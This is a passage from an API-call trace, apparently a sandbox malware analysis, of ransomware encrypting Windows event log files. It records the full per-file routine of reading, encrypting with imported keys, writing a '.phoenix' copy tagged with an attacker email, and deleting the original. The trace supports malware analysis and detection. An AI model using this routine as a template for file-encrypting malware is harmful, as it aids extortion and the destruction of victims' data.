	[0225.322] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0225.322] CloseHandle (hObject=0x2c0) returned 1
	[0225.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20
	[0225.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.323] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.323] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.323] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.323] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.323] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0225.323] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.324] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.347] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0225.347] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0225.349] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0225.349] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.349] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0225.349] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0225.349] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0225.349] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0225.349] CloseHandle (hObject=0x2c0) returned 1
	[0225.349] CloseHandle (hObject=0x2c8) returned 1
	[0225.351] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1
	[0225.352] SetEvent (hEvent=0x278) returned 1
	[0225.352] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0225.352] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.352] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0225.352] CloseHandle (hObject=0x2c8) returned 1
	[0225.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20
	[0225.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.353] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.353] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.353] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.353] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.353] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0225.353] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.353] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.478] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0225.478] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0225.481] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0225.481] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.481] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0225.481] CryptDestroyKey (hKey=0x151580) returned 1
	[0225.481] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0225.481] CryptDestroyKey (hKey=0x151680) returned 1
	[0225.481] CloseHandle (hObject=0x2c8) returned 1
	[0225.481] CloseHandle (hObject=0x2c0) returned 1
	[0225.483] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1
	[0225.484] SetEvent (hEvent=0x278) returned 1
	[0225.484] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0225.484] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.485] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0225.485] CloseHandle (hObject=0x2c0) returned 1
	[0225.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20
	[0225.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.488] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.488] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.489] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.489] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.489] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0225.489] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.489] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.506] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0225.506] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0225.576] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0225.576] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.576] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0225.576] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0225.576] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0225.576] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0225.576] CloseHandle (hObject=0x2c0) returned 1
	[0225.576] CloseHandle (hObject=0x2c8) returned 1
	[0225.578] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1
	[0225.580] SetEvent (hEvent=0x278) returned 1
	[0225.580] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0225.580] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.580] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0225.580] CloseHandle (hObject=0x2c8) returned 1
	[0225.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20
	[0225.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.581] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.581] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.581] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.581] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.599] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0225.599] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.599] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.630] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0225.630] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0225.632] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0225.632] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.632] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0225.632] CryptDestroyKey (hKey=0x151240) returned 1
	[0225.632] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0225.632] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0225.632] CloseHandle (hObject=0x2c8) returned 1
	[0225.632] CloseHandle (hObject=0x2e4) returned 1
	[0225.636] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1
	[0225.638] SetEvent (hEvent=0x278) returned 1
	[0225.638] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0225.638] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.638] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0225.638] CloseHandle (hObject=0x2e4) returned 1
	[0225.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20
	[0225.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.639] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.639] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.639] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.639] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0225.639] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0225.639] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.639] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.667] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0225.667] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0225.669] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0225.669] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.669] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0225.669] CryptDestroyKey (hKey=0x151580) returned 1
	[0225.669] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0225.669] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0225.669] CloseHandle (hObject=0x2e4) returned 1
	[0225.669] CloseHandle (hObject=0x2c8) returned 1
	[0225.672] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1
	[0225.674] SetEvent (hEvent=0x278) returned 1
	[0225.674] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0225.674] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.798] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0225.799] CloseHandle (hObject=0x2cc) returned 1
	[0225.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20
	[0225.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.799] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0225.799] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.799] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0225.799] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0225.803] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0225.803] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0225.803] ReadFile (in: hFile=0x2cc, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0225.854] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
